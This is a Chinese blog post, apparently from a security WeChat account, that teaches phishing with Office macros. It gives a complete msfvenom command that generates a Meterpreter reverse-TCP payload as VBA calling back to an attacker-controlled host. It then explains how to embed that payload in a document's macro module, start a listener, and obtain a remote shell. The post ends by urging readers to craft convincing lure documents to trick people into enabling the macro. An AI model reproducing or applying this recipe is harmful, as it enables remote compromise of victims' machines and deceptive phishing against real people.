前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用Office实现简单钓鱼

利用Office实现简单钓鱼

作者头像
黑白天安全
发布2020-03-08 13:54:36
8770
发布2020-03-08 13:54:36
举报

Office宏

office宏,译自英文单词Macro。宏是微软公司为其OFFICE软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。

虽然Office宏会给我们的工作带来便利,但是也埋下了巨大的安全隐患。

先来看一下Office中关于宏的默认设置。

左上角–>文件–>选项

可以看到默认设置为禁用所有宏,并在文件中包含宏的情况下,发出提示。

Office钓鱼

Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件,也可说是一种应用程式视觉化的Basic 脚本。

首先使用msf生成payload:

代码语言:javascript
复制
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.203.129 lport=4444 -f vba -o shellcode.txt

我们来看一下生成的内容:

我们将代码进行粘贴,复制到office宏模板中:

我们首先在开发者工具里,打开Visual Basic

如果Office中没有开发工具这一选项,那么请在文件–>选项中进行设置,如下:


回到正轨,我们打开了Visul Basic,找到ThisDocument,并将msf生成的代码复制进去保存,如下:

如果出现编译错误的情况,八成是因为shellcode之间多余的回车符和空行造成的。

现在文件保存好了,我们重新打开:

我们可以看到一个关于宏的警告,只要我们不点启用,msf是不会上线的。

现在我们在msf中设置好监听:

开启监听并启用宏:

我们成功拿到了Meterpreter!


由于Office宏隐蔽性差,所以不可单独使用,这时社会工程学便派上了用场。利用人们思维的定向性,制造一个可欺骗度高的文档,来诱惑人们点击,从而使危害扩大化。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Office宏
  • Office钓鱼
相关产品与服务
云开发 CLI 工具
云开发 CLI 工具(Cloudbase CLI Devtools,CCLID)是云开发官方指定的 CLI 工具,可以帮助开发者快速构建 Serverless 应用。CLI 工具提供能力包括文件储存的管理、云函数的部署、模板项目的创建、HTTP Service、静态网站托管等,您可以专注于编码,无需在平台中切换各类配置。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档